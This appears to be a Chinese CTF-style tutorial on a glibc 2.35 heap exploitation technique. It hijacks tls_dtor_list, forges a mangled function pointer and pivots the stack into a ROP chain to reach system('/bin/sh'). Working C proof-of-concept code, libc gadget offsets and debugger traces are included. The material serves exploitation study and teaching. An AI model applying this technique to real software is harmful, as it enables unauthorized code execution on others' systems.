前言 在glibc-2.34下,我们常用的 __free_hook 、__malloc_hook 、**__realloc_hook、 exit_hook(dl_rtld_lock_recursive、dl_rtld_unlock_recursive)** 被删除,我们想要直接劫持钩子函数来执行one_gadget 的打法已经失效。这也导致高版本下,打栈或者利用house of apple2 、house of cat 成了常态,除此之外,还有一种比较少见的类exit_hook 利用姿势,即劫持 tls_dtor_list 函数来控制程序执行流
利用条件
能够任意写一个可控堆地址
能够泄露或者修改fs+0x30
程序能够通过main正常返回或者触发exit 退出
利用原理 实验环境 Ubuntu GLIBC 2.35-0ubuntu3.4
函数调用链
1 2 3 4 exit __run_exit_handlers __call_tls_dtors func (cur->obj) <--伪造这个
当程序使用exit 函数退出后,会进入 __run_exit_handlers 函数
1 2 3 4 5 6 void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true , true ); } libc_hidden_def (exit )
进入 __run_exit_handlers 函数后,会首先判断 __call_tls_dtors 和run_dtors 是否为空,如果不为空就会调用 __call_tls_dtors 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { #ifndef SHARED if (&__call_tls_dtors != NULL ) #endif if (run_dtors) __call_tls_dtors (); __libc_lock_lock (__exit_funcs_lock);
进入 __call_tls_dtors 函数后,会检查tls_dtor_list 链表是否为空,如果不为空就就将tls_dtor_list 链表赋值给dtor_list 结构体,并调用其成员变量func 函数,它的第一个参数甚至也是还是另一个成员变量obj 控制的!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void __call_tls_dtors (void ) { while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func; #ifdef PTR_DEMANGLE PTR_DEMANGLE (func); #endif tls_dtor_list = tls_dtor_list->next; func (cur->obj); atomic_fetch_add_release (&cur->map ->l_tls_dtor_count, -1 ); free (cur); } }
dtor_list 结构体原型
1 2 3 4 5 6 7 struct dtor_list { dtor_func func; void *obj; struct link_map *map ; struct dtor_list *next ; };
从而我们不难得出,如果我们劫持得了tls_dtor_list 链表,就可以进入循环并控制dtor_list 结构体cur ,从而控制其成员变量func 与obj ,然后实现任意函数执行,并且第一个参数可控!
接下来,我们对着 __call_tls_dtors 汇编调挑重点分析该如何利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Dump of assembler code for function __call_tls_dtors: 0x00007ffff7c45d60 <+0 >: endbr64 0x00007ffff7c45d64 <+4 >: push rbp 0x00007ffff7c45d65 <+5 >: push rbx 0x00007ffff7c45d66 <+6 >: sub rsp,0x8 0x00007ffff7c45d6a <+10 >: mov rbx,QWORD PTR [rip+0x1d401f ] # 0x7ffff7e19d90 0x00007ffff7c45d71 <+17 >: mov rbp,QWORD PTR fs:[rbx] 0x00007ffff7c45d75 <+21 >: test rbp,rbp 0x00007ffff7c45d78 <+24 >: je 0x7ffff7c45dbd <__call_tls_dtors+93 > 0x00007ffff7c45d7a <+26 >: nop WORD PTR [rax+rax*1 +0x0 ] 0x00007ffff7c45d80 <+32 >: mov rdx,QWORD PTR [rbp+0x18 ] 0x00007ffff7c45d84 <+36 >: mov rax,QWORD PTR [rbp+0x0 ] 0x00007ffff7c45d88 <+40 >: ror rax,0x11 0x00007ffff7c45d8c <+44 >: xor rax,QWORD PTR fs:0x30 0x00007ffff7c45d95 <+53 >: mov QWORD PTR fs:[rbx],rdx 0x00007ffff7c45d99 <+57 >: mov rdi,QWORD PTR [rbp+0x8 ] 0x00007ffff7c45d9d <+61 >: call rax 0x00007ffff7c45d9f <+63 >: mov rax,QWORD PTR [rbp+0x10 ] 0x00007ffff7c45da3 <+67 >: lock sub QWORD PTR [rax+0x468 ],0x1 0x00007ffff7c45dac <+76 >: mov rdi,rbp 0x00007ffff7c45daf <+79 >: call 0x7ffff7c28370 <free @plt> 0x00007ffff7c45db4 <+84 >: mov rbp,QWORD PTR fs:[rbx] 0x00007ffff7c45db8 <+88 >: test rbp,rbp 0x00007ffff7c45dbb <+91 >: jne 0x7ffff7c45d80 <__call_tls_dtors+32 > 0x00007ffff7c45dbd <+93 >: add rsp,0x8 0x00007ffff7c45dc1 <+97 >: pop rbx 0x00007ffff7c45dc2 <+98 >: pop rbp 0x00007ffff7c45dc3 <+99 >: ret End of assembler dump.
__call_tls_dtors+10 将rbx 赋值为0xffffffffffffffa8(-88)
__call_tls_dtors+17 将fs-88(tls_dtor_list) 赋值给rbp
__call_tls_dtors+21 其实就是在判断tls_dtor_list 是否为空
__call_tls_dtors+36 将tls_dtor_list 的第一个成员变量(偏移0,8 byte)赋值给rax
__call_tls_dtors+40 与 __call_tls_dtors+53 是对rax进行解密,先向右循环移位,再与fs+0x30 上的值(一个随机数)进行异或
__call_tls_dtors+57 将tls_dtor_list 的第二个成员变量(偏移8,8 byte)赋值给rdi
__call_tls_dtors+61 调用rax
利用思路 对此,易得我们劫持tls_dtor_list 触发 system(‘/bin/sh’) 的利用思路:
构造一个chunk ,**[chunk_addr]为加密后的system**地址, [chunk_addr+8] 为 ‘/bin/sh’ 字符串地址
泄露ld 基地址,然后得到fs 的基地址
然后将fs-88(tls_dtor_list)赋值为该堆地址chunk_addr
自动触发system(‘/bin/sh’)
除此之外,如果题目开了沙箱ban 掉execve ,我们还可以栈迁移构造链
因为 __call_tls_dtors+17 将fs-88(tls_dtor_list)赋值给rbp ,如果我们往 [chunk_addr] 里面填leave_ret 的gadget ,那么当执行leave_ret 后,rip 就会变成 [chunk_addr+8] ,从而执行我们在这后面构造的ROP 链!!!
POC 劫持tls_dtor_list直接执行system(‘/bin/sh’) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned long long rol (unsigned long long value) { return (value << 0x11 ) | (value >> (64 - 0x11 )) & 0xffffffffffffffff ; } int main () { unsigned long long fs_base; unsigned long long index = 0xffffffffffffffa8 ; unsigned long long tls_dtor_list_addr; unsigned long long random_num; unsigned long long libc_base = &system - 0x50d70 ; unsigned long long *str_bin_sh = libc_base + 0x1d8698 ; asm volatile ("mov %%fs:0x0, %0" : "=r" (fs_base)) ; printf ("fs base address: 0x%llx\\n" , fs_base); tls_dtor_list_addr = fs_base - 88 ; random_num = *(unsigned long long *)(fs_base + 0x30 ); void *ptr = malloc (0x20 ); *(unsigned long long *)ptr = rol((unsigned long long )&system ^ random_num); *(unsigned long long *)(ptr + 8 ) = str_bin_sh; *(unsigned long long *)tls_dtor_list_addr = ptr; return 0 ; }
进入 <__call_tls_dtors>
1 2 3 4 5 6 7 8 9 10 11 ► 0x7ffff7c45d60 <__call_tls_dtors> endbr64 0x7ffff7c45d64 <__call_tls_dtors+4> push rbp 0x7ffff7c45d65 <__call_tls_dtors+5> push rbx 0x7ffff7c45d66 <__call_tls_dtors+6> sub rsp, 8 0x7ffff7c45d6a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 1d301fh] 0x7ffff7c45d71 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx] 0x7ffff7c45d75 <__call_tls_dtors+21> test rbp, rbp 0x7ffff7c45d78 <__call_tls_dtors+24> je 7ffff7c45dbdh <__call_tls_dtors+93> ↓ 0x7ffff7c45dbd <__call_tls_dtors+93> add rsp, 8 0x7ffff7c45dc1 <__call_tls_dtors+97> pop rbx 0x7ffff7c45dc2 <__call_tls_dtors+98> pop rbp
观察目前的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> tls tls : 0x7ffff7fb8740 // fs地址 pwndbg> x/xg 0x7ffff7fb8740-88 0x7ffff7fb86e8: 0x000055555555a6b0 // 覆盖**tls_dtor_list**为我们伪造的**chunka_addr** pwndbg> x/xg 0x7ffff7fb8740+0x30 0x7ffff7fb8770: 0xcd950cd148267019 //随机数 ****pwndbg> tel 0x55555555a6b0 2 00:0000│ r9 0x55555555a6b0 ◂— 0xe65d7fc6fad39b2a 01:0008│ 0x55555555a6b8 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */ // 该**chunk**的**pre**伪造成加密后的**systerm**,**bk**伪造为**'/bin/sh' **的地址
运行到 <__call_tls_dtors+61>,可以执行 system(‘/bin/sh’)成功getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp] 0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 11h 0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[30h] 0x7ffff7c45d95 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx 0x7ffff7c45d99 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8] ► 0x7ffff7c45d9d <__call_tls_dtors+61> call rax <system> command : 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */ 0x7ffff7c45d9f <__call_tls_dtors+63> mov rax, qword ptr [rbp + 10h] 0x7ffff7c45da3 <__call_tls_dtors+67> lock sub qword ptr [rax + 468h], 1 0x7ffff7c45dac <__call_tls_dtors+76> mov rdi, rbp 0x7ffff7c45daf <__call_tls_dtors+79> call 7ffff7c28370h <free@plt> 0x7ffff7c45db4 <__call_tls_dtors+84> mov rbp, qword ptr fs:[rbx]
劫持tls_dtor_list 进行栈迁移,构造ROP链执行system(‘/bin/sh’) 在开了沙盒的题目中,这个打法有奇效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned long long rol (unsigned long long value) { return (value << 0x11 ) | (value >> (64 - 0x11 )) & 0xffffffffffffffff ; } int main () { unsigned long long fs_base; unsigned long long index = 0xffffffffffffffa8 ; unsigned long long tls_dtor_list_addr; unsigned long long random_num; unsigned long long libc_base = &system - 0x50d70 ; unsigned long long *leave_ret = libc_base + 0x4da83 ; unsigned long long *ret = libc_base + 0x29139 ; unsigned long long *str_bin_sh = libc_base + 0x1d8698 ; unsigned long long *pop_rdi_ret = libc_base + 0x2a3e5 ; asm volatile ("mov %%fs:0x0, %0" : "=r" (fs_base)) ; printf ("fs base address: 0x%llx\\n" , fs_base); tls_dtor_list_addr = fs_base - 88 ; random_num = *(unsigned long long *)(fs_base + 0x30 ); void *ptr = malloc (0x100 ); *(unsigned long long *)ptr = rol((unsigned long long )leave_ret ^ random_num); *(unsigned long long *)(ptr + 0x8 ) = pop_rdi_ret; *(unsigned long long *)(ptr + 0x10 ) = str_bin_sh; *(unsigned long long *)(ptr + 0x18 ) = &system; *(unsigned long long *)tls_dtor_list_addr = ptr; return 0 ; }
执行完 <__call_tls_dtors+17>
1 2 3 4 5 6 7 8 9 10 11 12 0x7ffff7c45d64 <__call_tls_dtors+4> push rbp 0x7ffff7c45d65 <__call_tls_dtors+5> push rbx 0x7ffff7c45d66 <__call_tls_dtors+6> sub rsp, 8 0x7ffff7c45d6a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 1d301fh] 0x7ffff7c45d71 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx] ► 0x7ffff7c45d75 <__call_tls_dtors+21> test rbp, rbp 0x7ffff7c45d78 <__call_tls_dtors+24> je 7ffff7c45dbdh <__call_tls_dtors+93> 0x7ffff7c45d7a <__call_tls_dtors+26> nop word ptr [rax + rax] 0x7ffff7c45d80 <__call_tls_dtors+32> mov rdx, qword ptr [rbp + 18h] 0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp] 0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 11h
观察目前的内存信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> p $rbp $1 = (void *) 0x55555555a6b0 // **rbp**为**chunka_addr**pwndbg> tls tls : 0x7ffff7fb8740 // fs地址 pwndbg> x/xg 0x7ffff7fb8740-88 0x7ffff7fb86e8: 0x000055555555a6b0 // 覆盖**tls_dtor_list**为我们伪造的**chunka_addr** pwndbg> x/xg 0x7ffff7fb8740+0x30 0x7ffff7fb8770: 0x92d67b067dee83ac //随机数 pwndbg> tel 0x000055555555a6b0 4 00:0000│ r9 rbp 0x55555555a6b0 ◂— 0x9f31454b25f25ac 01:0008│ 0x55555555a6b8 —▸ 0x7ffff7c2a3e5 (iconv+197) ◂— pop rdi 02:0010│ 0x55555555a6c0 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */ 03:0018│ 0x55555555a6c8 —▸ 0x7ffff7c50d70 (system) ◂— endbr64 // 该**chunk**的**pre**伪造成加密后的**leave_ret**片段,然后从**bk**开始构造**ROP**链
运行到 <__call_tls_dtors+61>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp] 0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 11h 0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[30h] 0x7ffff7c45d95 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx 0x7ffff7c45d99 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8] ► 0x7ffff7c45d9d <__call_tls_dtors+61> call rax <____strtod_l_internal+9107> rdi: 0x7ffff7c2a3e5 (iconv+197) ◂— pop rdi rsi: 0x7ffff7e19838 (__exit_funcs) —▸ 0x7ffff7e1af00 (initial) ◂— 0x0 rdx: 0x7ffff7c50d70 (system) ◂— endbr64 rcx: 0x1 0x7ffff7c45d9f <__call_tls_dtors+63> mov rax, qword ptr [rbp + 10h] 0x7ffff7c45da3 <__call_tls_dtors+67> lock sub qword ptr [rax + 468h], 1 0x7ffff7c45dac <__call_tls_dtors+76> mov rdi, rbp 0x7ffff7c45daf <__call_tls_dtors+79> call 7ffff7c28370h <free@plt> 0x7ffff7c45db4 <__call_tls_dtors+84> mov rbp, qword ptr fs:[rbx]
步入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ► 0x7ffff7c4da83 <____strtod_l_internal+9107> leave 0x7ffff7c4da84 <____strtod_l_internal+9108> ret ↓ 0x7ffff7c2a3e5 <iconv+197> pop rdi 0x7ffff7c2a3e6 <iconv+198> ret ↓ 0x7ffff7c50d70 <system> endbr64 0x7ffff7c50d74 <system+4> test rdi, rdi 0x7ffff7c50d77 <system+7> je 7ffff7c50d80h <system+16> 0x7ffff7c50d79 <system+9> jmp 7ffff7c50900h <do_system> ↓ 0x7ffff7c50900 <do_system> push r15 0x7ffff7c50902 <do_system+2> mov edx, 1 0x7ffff7c50907 <do_system+7> push r14
执行完leave;ret 后,栈迁移成功,可以执system(‘/bin/sh’)成功getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0x7ffff7c4da83 <____strtod_l_internal+9107> leave 0x7ffff7c4da84 <____strtod_l_internal+9108> ret ↓ ► 0x7ffff7c2a3e5 <iconv+197> pop rdi <iconv+197> 0x7ffff7c2a3e6 <iconv+198> ret ↓ 0x7ffff7c50d70 <system> endbr64 0x7ffff7c50d74 <system+4> test rdi, rdi 0x7ffff7c50d77 <system+7> je 7ffff7c50d80h <system+16> 0x7ffff7c50d79 <system+9> jmp 7ffff7c50900h <do_system> ↓ 0x7ffff7c50900 <do_system> push r15 0x7ffff7c50902 <do_system+2> mov edx, 1 0x7ffff7c50907 <do_system+7> push r14 pwndbg> tel $rsp 2 00:0000│ rsp 0x55555555a6c0 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */ 01:0008│ 0x55555555a6c8 —▸ 0x7ffff7c50d70 (system) ◂— endbr64
总结 比起house of apple2 、house of cat 等高版本主流打法,利用tls_dtor_list 的工作量大大减小,并且可以直接栈迁移构造ROP 链,而且由于该打法是在修改fs 附近的值,这个依赖的不是libc 而是ld 的偏移,有时能发挥奇效。